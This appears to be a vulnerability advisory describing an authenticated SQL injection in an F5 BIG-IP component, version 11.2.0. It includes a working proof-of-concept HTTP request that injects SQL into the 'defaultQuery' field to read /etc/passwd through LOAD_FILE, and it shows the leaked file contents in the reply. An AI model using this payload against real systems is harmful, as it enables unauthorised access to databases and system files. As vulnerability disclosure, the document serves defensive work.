URL: http://www.f5.com/products/big-ip/ Vulnerability overview/description: ----------------------------------- A SQL injection vulnerability exists in a BIG-IP component. This enables an authenticated attacker to access the MySQL database with the rights of MySQL user "root" (= highest privileges). Furthermore an attacker can access files in the file system with the rights of the "mysql" OS user. Proof of concept: ----------------- The following exploit shows how files can be extracted from the file system: POST /sam/admin/reports/php/saveSettings.php HTTP/1.1 Host: bigip Cookie: BIGIPAuthCookie=*VALID_COOKIE* Content-Length: 119 { "id": 2, "defaultQuery": "XX', ext1=(SELECT MID(LOAD_FILE('/etc/passwd'),0,60)) -- x" } Note: target fields are only VARCHAR(60) thus MID() is used for extracting data. A request to /sam/admin/reports/php/getSettings.php returns the data: HTTP/1.1 200 OK ... {success:true,totalCount:1,rows:[{"id":"2","user":"admin","defaultQuery":"XX","ext1":"root:x:0:0:root:\/root:\/bin\/bash\nbin:x:1:1:bin:\/bin:\/sbin\/nol","ext2":""}]} Vulnerable / tested versions: ----------------------------- The vulnerability has been verified to exist in the F5 BIG-IP version 11.2.0. Successful exploitation was possible with Application Security (ASM) or Access Policy (APM) enabled.
